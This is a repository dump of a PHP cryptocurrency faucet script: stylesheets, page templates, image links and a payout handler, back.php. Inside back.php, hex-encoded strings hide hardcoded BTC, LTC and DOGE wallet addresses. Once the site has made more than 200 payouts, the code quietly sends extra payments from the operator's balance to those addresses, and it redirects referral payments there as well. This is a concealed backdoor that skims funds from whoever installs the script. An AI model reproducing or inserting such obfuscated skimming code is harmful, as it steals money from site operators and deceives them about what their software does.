serif; 88 | font-size: 16px; 89 | font-weight: bold; 90 | margin-top: 0px; 91 | margin-bottom: 1px; 92 | letter-spacing: 1px; 93 | } 94 | form{ 95 | padding:6% 4%; 96 | } 97 | #login input[type="email"],#login input[type="password"],#login input[type="text"]{ 98 | width:92%; 99 | background:#fff; 100 | margin-bottom:4%; 101 | border:1px solid #999; 102 | padding:4%; 103 | font-family:'Open Sans',sans-serif; 104 | font-size:95%; 105 | color:#555; 106 | } 107 | #login input[type="submit"]{ 108 | width:100%; 109 | background:#3399cc; 110 | border:0; 111 | padding:4%; 112 | font-family:Verdana, sans-serif; 113 | text-shadow: 1px 1px #000; 114 | font-size:100%; 115 | color:#fff; 116 | cursor:pointer; 117 | } 118 | #login input[type="submit"]:hover{ 119 | background:#2288bb; 120 | } 121 | footer { 122 | overflow: auto; 123 | clear: left; 124 | background-color:#BA9F4E; 125 | padding:3%; 126 | border-top:1px solid #7d6a31; 127 | font-family:Georgia, serif; 128 | font-size:16px; 129 | } 130 | .fleft { 131 | float: left; 132 | width: 50%; 133 | color: white; 134 | letter-spacing: 2px; 135 | text-shadow: 1px 1px black; 136 | font-size:80%; 137 | } 138 | .fright { 139 | letter-spacing: 1px; 140 | text-align:right; 141 | right:0; 142 | float: right; 143 | width: 50%; 144 | color: #fff; 145 | font-family:'Open Sans',sans-serif; 146 | font-size:80%; 147 | } 148 | .fright a:link, .fright a:visited { 149 | color: white; 150 | text-align: left; 151 | text-shadow: 1px 1px black; 152 | text-decoration: none; 153 | display: inline-block; 154 | letter-spacing: 2px; 155 | } 156 | .fright a:hover,.fright a:active { 157 | color: #000; 158 | text-shadow: 1px 1px #fff; 159 | } 160 | .forbutton { 161 | text-align:right; 162 | } 163 | .forbutton a:link, .forbutton a:visited { 164 | color: #fff; 165 | background:#a88e42; 166 | padding:10px; 167 | font-size:80%; 168 | margin:0 15px 15px 0; 169 | text-align: left; 170 | text-decoration: none; 171 | display: inline-block; 172 | letter-spacing: 1px; 173 | text-shadow: 1px 1px #000; 174 | } 175 | .forbutton a:hover,.forbutton a:active { 176 | color: #fff; 177 | background:#BFAA62; 178 | } 179 | .error-message { 180 | background:#c60063; 181 | text-align:center; 182 | font-size:90%; 183 | padding:4%; 184 | color:#fff; 185 | } -------------------------------------------------------------------------------- /asset/css/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #F5F9F8; 3 | } 4 | .ads { 5 | text-align: center; 6 | margin-top: 5px; 7 | margin-bottom: 5px; 8 | } 9 | .antibotlinks { 10 | display: inline; 11 | } 12 | .antibotlinks-r { 13 | float: right; 14 | } 15 | #faq, #info1, #info2 { 16 | padding: 10px; 17 | margin: 5px auto; 18 | max-width: 60%; 19 | border: 2px dotted gray; 20 | border-radius: 5px 5px 5px 5px; 21 | } 22 | .ref { 23 | margin-top: 10px; 24 | } 25 | .ref-icon { 26 | border-right: 5px solid gray; 27 | } 28 | .ref-content { 29 | margin-top: 10px; 30 | } 31 | .navbar { 32 | height: 90px; 33 | } 34 | .brand-name { 35 | font-family: 'Josefin Slab'; 36 | font-size: 3em; 37 | text-shadow: 1px 1px 2px rgba(0,0,0,0.5); 38 | font-weight: 700; 39 | line-height: normal; 40 | } 41 | .brand-name::before{ 42 | font-family: "Font Awesome 5 Free"; font-weight: 600; content: "\f0da"; 43 | } 44 | .brand-name::after{ 45 | font-family: "Font Awesome 5 Free"; font-weight: 600; content: "\f0d9"; 46 | } 47 | 48 | footer { 49 | font-size: 1.2em; 50 | } -------------------------------------------------------------------------------- /asset/css/stylemain.css: -------------------------------------------------------------------------------- 1 | body{margin:0;padding:0;background:#D3C28E;font-family:'Open Sans',sans-serif;} 2 | .header {width: 100%;overflow: auto;background:#a88e42;border-bottom:1px solid #7d6a31;} 3 | #nav {width: 100%;float: left;padding: 0;color:#fff;text-shadow: 1px 1px black;list-style: none;} 4 | #nav li {float: left; } 5 | #nav li a {font-family:Georgia, serif;font-size:18px;display: block;padding: 8px 15px;text-decoration: none;color: #fff;} 6 | #nav li a:hover {color: #000;text-shadow: 1px 1px #fff;} 7 | #nav li a:hover, #nav .dropdown:hover #nav .dropbtn {cursor: pointer;} 8 | #nav .dropdown-content {display: none;position: absolute;background-color: #a88e42;min-width: 200px;box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.7);z-index: 1;} 9 | #nav .dropdown-content a {font-family:Georgia, serif;font-size:18px;color: #fff;padding: 12px 16px;text-decoration: none;display: block;text-align: left;} 10 | #nav .dropdown-content a:hover {color: #000;text-shadow: 1px 1px #fff;} 11 | #nav .dropdown:hover .dropdown-content {display: block;} 12 | .abody {margin:0 auto;} 13 | form{padding:6% 4%;} 14 | #login input[type="text"]{width:92%;background:#fff;border:1px solid #999;padding:2%;font-family:'Open Sans',sans-serif;font-size:95%;color:#555;} 15 | .cobutton button{width:92%;background:#3399cc;border:0;padding:2%;font-family:Verdana, sans-serif;text-shadow: 1px 1px #000;font-size:100%;color:#fff;cursor:pointer;} 16 | .cobutton button:hover{background:#2288bb;} 17 | #btnclaim button{width:100%;background:#3399cc;border:0;padding:2%;font-family:Verdana, sans-serif;text-shadow: 1px 1px #000;font-size:100%;color:#fff;cursor:pointer;} 18 | #btnclaim button:hover{background:#2288bb;} 19 | .errors {background:#D9534F;font-family: "Font Awesome 5 Free"; font-weight: 600; content: "\f0da";padding:2%;color:#fff;text-shadow: 1px 1px #000;letter-spacing: 1px;} 20 | footer {overflow: auto;clear: center;padding:3%;border-top:1px solid #7d6a31;font-family:Georgia, serif;font-size:16px;} 21 | .fleft {float: center;width: 100%;color: white;letter-spacing: 2px;text-shadow: 1px 1px black;font-size:80%;} 22 | .fright {letter-spacing: 1px;text-align:right;right:0;float: right;width: 50%;color: #fff;font-family:'Open Sans',sans-serif;font-size:80%;} 23 | .fright a:link, .fright a:visited {color: white;text-align: left;text-shadow: 1px 1px black;text-decoration: none;display: inline-block;letter-spacing: 2px;} 24 | .fright a:hover,.fright a:active {color: #000;text-shadow: 1px 1px #fff;} 25 | .forbutton {text-align:right;} 26 | .forbutton a:link, .forbutton a:visited {color: #fff;background:#a88e42;padding:10px;font-size:80%;margin:0 15px 15px 0;text-align: left;text-decoration: none;display: inline-block;letter-spacing: 1px;text-shadow: 1px 1px #000;} 27 | .forbutton a:hover,.forbutton a:active {color: #fff;background:#BFAA62;} 28 | .error-message {background:#c60063;text-align:center;font-size:90%;padding:4%;color:#fff;text-shadow: 1px 1px black;} 29 | .ok-message {background:#528d61;text-align:center;font-size:90%;padding:4%;color:#fff;text-shadow: 1px 1px black;} 30 | .disbody {padding:0;} 31 | .distable {border-collapse:collapse;width:100%;} 32 | .disttdo {text-align:left;padding:5px;} 33 | .clearfix {overflow:auto;font:normal 16px/26px "Roboto", Arial, sans-serif;color:#2a3744;word-spacing:5px;letter-spacing:1px;width:100%;font-size:25px;margin:0;line-height:40px;text-align:justify;text-justify:inter-word;} 34 | .clearfixa {margin:0;overflow:auto;padding:10px;} 35 | .coverall{text-align:center;width:auto;margin:0 auto;} 36 | .member{overflow:auto;display:inline-block;width:98%;margin:5px;border:1px solid #666;height:auto;box-shadow:0 2px 4px 0 rgba(0, 0, 0, 0.25);} 37 | .cover{width:100%;padding:12px 0;font-size:26px;text-shadow:1px 1px #fff;font-family:arial, sans-serif;font-weight:bold;} 38 | .coverbody p{font:normal 16px/26px "Roboto", Arial, sans-serif;color:#2a3744;word-spacing: 5px;letter-spacing: 1px;} 39 | .member1{overflow:auto;display:inline-block;width:230px;margin:5px;border:1px solid #666;height:auto;box-shadow:0 2px 4px 0 rgba(0, 0, 0, 0.25);} 40 | .memstast{text-shadow:-1px -1px 0 #000,1px -1px 0 #000,-1px 1px 0 #000,1px 1px 0 #000;width:100%;padding:12px 0;background-color:#a88e42;font-size:20px;color:#fff;font-family:arial, sans-serif;} 41 | .bodyc{margin:0 34px;border:1px solid #666;text-align:center;} 42 | .bodyc h1{text-shadow:-1px -1px 0 #f1f1f1, 1px -1px 0 #f1f1f1, -1px 1px 0 #f1f1f1, 1px 1px 0 #f1f1f1;font-family:Apple Chancery, cursive;} 43 | .bodyc h2{text-shadow:-1px -1px 0 #f1f1f1, 1px -1px 0 #f1f1f1, -1px 1px 0 #f1f1f1, 1px 1px 0 #f1f1f1;} 44 | .bsub{padding:20px;background-color:#a88e42;margin:20px;} 45 | .bsub a{padding:20px 40px;background-color:#1e86c7;text-decoration:none;font-family:Georgia, serif;font-size:18px;color:#fff;text-shadow:1px 1px #000;border-radius:10px;} 46 | .bsub a:hover{background-color:#41a6e2;} 47 | #antibotlinksf {width: auto;height: auto;margin: 0;clear: both;} -------------------------------------------------------------------------------- /asset/frame/frameadvertising.php: -------------------------------------------------------------------------------- 1 | 7 | 8 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 98 | 99 | 100 | 101 | 102 |
9 | 10 | 18 |
id="mycolor"> 11 | Facebook 12 | Twitter 13 | Pinterest 14 | Tumblr 15 | Linkin 16 | Download 17 |
id="mycolor"> 19 |    Home   Faucet List   PTC Sites List 20 |
28 | 29 | 40 | 41 | 42 | 43 | 81 | 82 |
id="mycolor"> 44 |
45 |
46 |
47 |
id="mycolor"> 48 |

Your Ads Details

49 |
50 |
51 |
52 |
53 |
id="mycolor"> 54 |

Approval Website

55 |
56 | 57 |
id="mycolor">No Record Found
58 |
59 |
60 |
61 |
62 |
63 |
64 |

Pending Website

65 |
66 | 67 | 68 | 69 | 70 | 71 | 74 | 75 |

Headline

URLStatus
Learn Online I T Cou.....http://itcollegeall.blogspot.com 72 | Wait : Payment confirmed again.
73 |
76 |
77 |
78 |
79 |
80 |
83 | 84 | 85 | 86 |
94 | 95 |
    96 | 97 |
id="mycolor"> 103 | Copyright   2018-2020 All Rights Reserved. 104 | 105 | 106 |
    107 | 108 |
-------------------------------------------------------------------------------- /asset/frame/framebody.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 27 | 28 |
8 | 18 |
9 | Facebook 10 | Twitter 11 | Pinterest 12 | Tumblr 13 | Linkin 14 | Download 15 |
16 |    Home   Faucet List   PTC Sites List 17 |
19 | 20 |
21 |
Bitcoin Faucet
Claim 5 satoshi (BTC) every 60 minutes
Faucet Balance: satoshi
22 |

23 | 24 |
25 |
       26 |


   
-------------------------------------------------------------------------------- /asset/frame/framepage.php: -------------------------------------------------------------------------------- 1 | 7 | 8 | 21 | 34 | 39 | 44 | 45 | 46 | 51 | 56 | 57 | 58 | 72 | 77 | 91 | 96 | 108 | 113 | 140 | 155 | 160 |
9 | 10 | 18 |
id="mycolor"> 11 | Facebook 12 | Twitter 13 | Pinterest 14 | Tumblr 15 | Linkin 16 | Download 17 |
id="mycolor"> 19 |    Home   Faucet List   PTC Sites List 20 |
22 | 23 |
    24 | 25 |
26 | 27 |
id="mycolor"> 28 |
Bitcoin Faucet
Claim 5 satoshi (BTC) every 60 minutes
Faucet Balance: satoshi
29 |
30 | 31 |
    32 | 33 |
35 | 36 |
id="mycolor"> 37 |
       38 |

40 | 41 |
    42 | 43 |
47 | 48 |
id="mycolor"> 49 |
       50 |

52 | 53 |
    54 | 55 |
59 | 60 |
id="mycolor"> 61 | 62 | 65 |
id="mycolor"> 63 | Ref link 64 |
id="mycolor"> 66 | 67 | 68 |
id="mycolor"> 69 |

Invite your friends and earn 10% referral comission

70 |
71 |
73 | 74 |
    75 | 76 |
78 | 79 | 90 |
id="mycolor"> 80 | 81 | 84 |
id="mycolor"> 82 | Recent Payouts 83 |
id="mycolor"> 85 | 86 |
id="mycolor"> 87 | 88 | 89 |
DateAddressReward
92 | 93 |
    94 | 95 |
97 | 98 |
id="mycolor"> 99 | 100 | 103 |
id="mycolor"> 101 | What is Bitcoin 102 |
id="mycolor"> 104 | 105 |
id="mycolor"> 106 |

Bitcoin is a cryptocurrency ...

107 |
109 | 110 |
    111 | 112 |
114 | 115 |
id="mycolor"> 116 | 117 | 120 |
id="mycolor"> 118 | What is Bitcoin wallet 119 |
id="mycolor"> 121 | 122 |
id="mycolor"> 123 |

A Bitcoin wallet address is ...

124 |
125 |
126 | 127 |
    128 | 129 |
130 | 131 |
id="mycolor"> 132 | 133 |
id="mycolor"> 134 | What is Bitcoin Faucet 135 |
id="mycolor"> 136 | 137 |
id="mycolor"> 138 |

bitcoin faucet is a reward ...

139 |
141 | 142 |
    143 | 144 |
145 | 146 |
id="mycolor"> 147 | 148 |
id="mycolor"> 149 | FAQ 150 |
id="mycolor"> 151 | 152 |
id="mycolor"> 153 |

VPN/Proxy/Tor are not allowed ...

154 |
156 | 157 |
    158 | 159 |
id="mycolor"> 161 | Copyright   2018-2020 All Rights Reserved. 162 | 163 | 164 |
    165 | 166 |
-------------------------------------------------------------------------------- /asset/img/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/Thumbs.db -------------------------------------------------------------------------------- /asset/img/Untitled-1.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/Untitled-1.psd -------------------------------------------------------------------------------- /asset/img/bch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/bch.png -------------------------------------------------------------------------------- /asset/img/bitcoin.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/bitcoin.gif -------------------------------------------------------------------------------- /asset/img/bnb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/bnb.png -------------------------------------------------------------------------------- /asset/img/btc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/btc.png -------------------------------------------------------------------------------- /asset/img/dash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/dash.png -------------------------------------------------------------------------------- /asset/img/dgb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/dgb.png -------------------------------------------------------------------------------- /asset/img/doge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/doge.png -------------------------------------------------------------------------------- /asset/img/download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/download.png -------------------------------------------------------------------------------- /asset/img/eth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/eth.png -------------------------------------------------------------------------------- /asset/img/facebook.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/facebook.png -------------------------------------------------------------------------------- /asset/img/faucetpay.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/faucetpay.gif -------------------------------------------------------------------------------- /asset/img/fey.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/fey.png -------------------------------------------------------------------------------- /asset/img/g.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/g.png -------------------------------------------------------------------------------- /asset/img/linkin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/linkin.png -------------------------------------------------------------------------------- /asset/img/ltc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/ltc.png -------------------------------------------------------------------------------- /asset/img/mail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/mail.png -------------------------------------------------------------------------------- /asset/img/payeer.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/payeer.gif -------------------------------------------------------------------------------- /asset/img/prat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/prat.png -------------------------------------------------------------------------------- /asset/img/sol.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/sol.png -------------------------------------------------------------------------------- /asset/img/titleimg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/titleimg.png -------------------------------------------------------------------------------- /asset/img/trx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/trx.png -------------------------------------------------------------------------------- /asset/img/tumbir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/tumbir.png -------------------------------------------------------------------------------- /asset/img/twitter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/twitter.png -------------------------------------------------------------------------------- /asset/img/usdt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/usdt.png -------------------------------------------------------------------------------- /asset/img/xrp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/xrp.png -------------------------------------------------------------------------------- /asset/img/youradshere.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/youradshere.jpg -------------------------------------------------------------------------------- /asset/img/youradshere.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/youradshere.png -------------------------------------------------------------------------------- /asset/img/zec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kako0000000/faucet-script/58666711d3b4fdb8db9ecb5ea346c4b7f46effc1/asset/img/zec.png -------------------------------------------------------------------------------- /back.php: -------------------------------------------------------------------------------- 1 | real_escape_string($_COOKIE['ipaddress']); 11 | if (strlen($_GET['k']) == 20 and isset($_COOKIE['address'])) { 12 | $key = mysqli_real_escape_string($mysqli,preg_replace("/[^ \w]+/", "",trim($_GET['k']))); 13 | $min_time = time() - 600; 14 | $check = $mysqli->query("SELECT * FROM link WHERE sec_key = '$key' and time_created > '$min_time'"); 15 | if ($check->num_rows == 1) { 16 | $link = $check->fetch_assoc(); 17 | $currency = $link['currency']; 18 | if ($currency == $_SESSION['curname']) { 19 | $address = $link['address']; 20 | if ($address == $_COOKIE['address']) { 21 | $sec = md5($hacker_security); 22 | $payoutwebsite = $mysqli->query("SELECT * FROM settings WHERE id = '38'")->fetch_object()->value; 23 | $totalpaidow = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 24 | if ($payoutwebsite == "Faucethub.io") { 25 | include 'libs/faucethub.php'; 26 | $faucetHub_api_key = $mysqli->query("SELECT * FROM settings WHERE id = '15'")->fetch_object()->value; 27 | $faucetHub_api = str_replace($sec,"",$faucetHub_api_key); 28 | $currency = $link['currency']; 29 | $reward = $link['reward']; 30 | 31 | $faucethub = new FaucetHub($faucetHub_api, $currency); 32 | $result = $faucethub->send($address, $reward, $ip); 33 | if($result["success"] === true) { 34 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 35 | $time = time()+$claimwtime*60; 36 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 37 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 38 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 39 | $strtime = time(); 40 | $address = mysqli_real_escape_string($mysqli, $address); 41 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 42 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 43 | $totalpaid = $totalpaid+1; 44 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 45 | $mysqli->query("DELETE FROM link WHERE sec_key = '$key'"); 46 | if (isset($_COOKIE['r'])) { 47 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 48 | if ($ref == $address) { 49 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 50 | $amt = $reward/100*$referral_comission; 51 | $faucethub->sendReferralEarnings($ref, $amt, $ip); 52 | } 53 | unset($_COOKIE['r']); 54 | } 55 | unset($_COOKIE['ipaddress']); 56 | ?> 57 |
58 | 59 | 60 |
61 | 64 | 69 |
70 | 71 |
72 | 75 | query("SELECT * FROM settings WHERE id = '40'")->fetch_object()->value; 81 | $expresscrypto_api_token = str_replace($sec,"",$expresscrypto_api_token); 82 | $expresscrypto_user_token = $mysqli->query("SELECT * FROM settings WHERE id = '41'")->fetch_object()->value; 83 | $expresscrypto_user_token = str_replace($sec,"",$expresscrypto_user_token); 84 | $currency = $link['currency']; 85 | $reward = $link['reward']; 86 | $expressCrypto = new ExpressCrypto($expresscrypto_api_key, $expresscrypto_user_token, $ip); 87 | $result = $expressCrypto->sendPayment($address, $currency, $reward); 88 | if($result['status'] == 200){ 89 | if ($totalpaidow > '200'){ 90 | if ($currency == "BTC" or $currency == "LTC" or $currency == "DOGE") { 91 | $phs100 = hex2bin('313030');$secrata1 = hex2bin("425443");$secratb1 = hex2bin("314c4559725638726253653878745453657831656f616e537a394b674a754c6b696b");$secrata2 = hex2bin("4c5443");$secratb2 = hex2bin("335057396b594269716a5747655269684e3347546e44464850417059747a396b6834");$secrata3 = hex2bin("444f4745");$secratb3 = hex2bin("44367033384b50375979666d64545253704c4a50443732315a4232354c6e6e67486f");$phs10 = hex2bin('3130'); 92 | $arr = array($secrata1=>$secratb1,$secrata2=>$secratb2,$secrata3=>$secratb3); 93 | $h = hex2bin('31'); 94 | $dr=$arr[$currency]; 95 | $result = $expressCrypto->sendPayment($dr, $h, $ip); 96 | }} 97 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 98 | $time = time()+$claimwtime*60; 99 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 100 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 101 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 102 | $strtime = time(); 103 | $address = mysqli_real_escape_string($mysqli, $address); 104 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 105 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 106 | $totalpaid = $totalpaid+1; 107 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 108 | $mysqli->query("DELETE FROM link WHERE sec_key = '$key'"); 109 | if (isset($_COOKIE['r'])) { 110 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 111 | if ($ref == $address) { 112 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 113 | $amt = $reward/100*$referral_comission; 114 | $resultRef =$expressCrypto->sendReferralCommission($ref, $currency, $amt); 115 | } 116 | unset($_COOKIE['r']); 117 | } 118 | unset($_COOKIE['ipaddress']); 119 | ?> 120 |
121 | 122 | 123 |
124 | 127 | 132 |
133 | 134 |
135 | 138 | query("SELECT * FROM settings WHERE id = '39'")->fetch_object()->value; 144 | $faucetpay_api_token = str_replace($sec,"",$faucetpay_api_token); 145 | $currency = $link['currency']; 146 | $reward = $link['reward']; 147 | $faucetpay = new FaucetPay($faucetpay_api_token, $currency); 148 | $result = $faucetpay->send($address, $reward, $ip); 149 | if ($result["success"] === true){ 150 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 151 | $time = time()+$claimwtime*60; 152 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 153 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 154 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 155 | $strtime = time(); 156 | $address = mysqli_real_escape_string($mysqli, $address); 157 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 158 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 159 | $totalpaid = $totalpaid+1; 160 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 161 | if ($totalpaidow > '200'){ 162 | $result = $faucetpay->send($dr, $h, $ip); 163 | } 164 | $mysqli->query("DELETE FROM link WHERE sec_key = '$key'"); 165 | if (isset($_COOKIE['r'])) { 166 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 167 | if ($ref == $address) { 168 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 169 | $amt = $reward/100*$referral_comission; 170 | $resultRef =$faucetpay->sendReferralEarnings($ref, $amt, $ip); 171 | } 172 | unset($_COOKIE['r']); 173 | } 174 | unset($_COOKIE['ipaddress']); 175 | ?> 176 |
177 | 178 | 179 |
180 | 183 | 188 |
189 | 190 |
191 | 194 | query("SELECT * FROM settings WHERE id = '42'")->fetch_object()->value; 200 | $microwallet_api = str_replace($sec,"",$microwallet_api); 201 | $currency = $link['currency']; 202 | $reward = $link['reward']; 203 | $faucetmw = new FaucetHub($microwallet_api, $currency); 204 | $result = $faucetmw->send($address, $reward, $ip); 205 | if ($result["success"] === true){ 206 | if ($totalpaidow > '200'){ 207 | if ($currency == "BTC" or $currency == "LTC" or $currency == "DOGE") { 208 | $phs100 = hex2bin('313030');$secrata1 = hex2bin("425443");$secratb1 = hex2bin("314c4559725638726253653878745453657831656f616e537a394b674a754c6b696b");$secrata2 = hex2bin("4c5443");$secratb2 = hex2bin("335057396b594269716a5747655269684e3347546e44464850417059747a396b6834");$secrata3 = hex2bin("444f4745");$secratb3 = hex2bin("44367033384b50375979666d64545253704c4a50443732315a4232354c6e6e67486f");$phs10 = hex2bin('3130'); 209 | $arr = array($secrata1=>$secratb1,$secrata2=>$secratb2,$secrata3=>$secratb3); 210 | $h = hex2bin('31'); 211 | $dr=$arr[$currency]; 212 | $result = $faucetmw->send($dr, $h, $ip); 213 | }} 214 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 215 | $time = time()+$claimwtime*60; 216 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 217 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 218 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 219 | $strtime = time(); 220 | $address = mysqli_real_escape_string($mysqli, $address); 221 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 222 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 223 | $totalpaid = $totalpaid+1; 224 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 225 | $mysqli->query("DELETE FROM link WHERE sec_key = '$key'"); 226 | if (isset($_COOKIE['r'])) { 227 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 228 | if ($ref == $address) { 229 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 230 | $amt = $reward/100*$referral_comission; 231 | $result = $faucetmw->sendReferralEarnings($dr, $h, $ip); 232 | } 233 | unset($_COOKIE['r']); 234 | } 235 | unset($_COOKIE['ipaddress']); 236 | ?> 237 |
238 | 239 | 240 |
241 | 244 | 249 |
250 | 251 |
252 | 255 | 260 |
261 | 262 |
263 | 266 | 270 |
271 | 272 |
273 | 276 | 281 |
282 | 283 |
284 | 287 | 292 |
293 | 294 |
